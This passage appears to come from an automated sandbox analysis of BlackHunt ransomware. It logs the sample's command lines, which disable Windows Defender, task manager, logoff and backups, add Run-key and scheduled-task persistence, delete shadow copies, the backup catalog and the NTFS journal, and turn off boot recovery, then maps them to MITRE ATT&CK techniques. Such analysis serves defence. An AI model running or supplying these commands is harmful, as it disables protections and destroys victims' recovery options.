    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:3588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:5068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:3596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2056
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe" /F
  2⤵
  PID:4044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b6543df9c53192b85f038268b55c44e7d2250074ea4892f4fd4c39d8678195ff.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4584
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:360
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:7684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3188
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:7676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4484
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:7668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1744
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3828
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:7924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4872
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1756
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:7932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:5060
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:7652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4876
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:7660

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4492

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5968

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6516

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery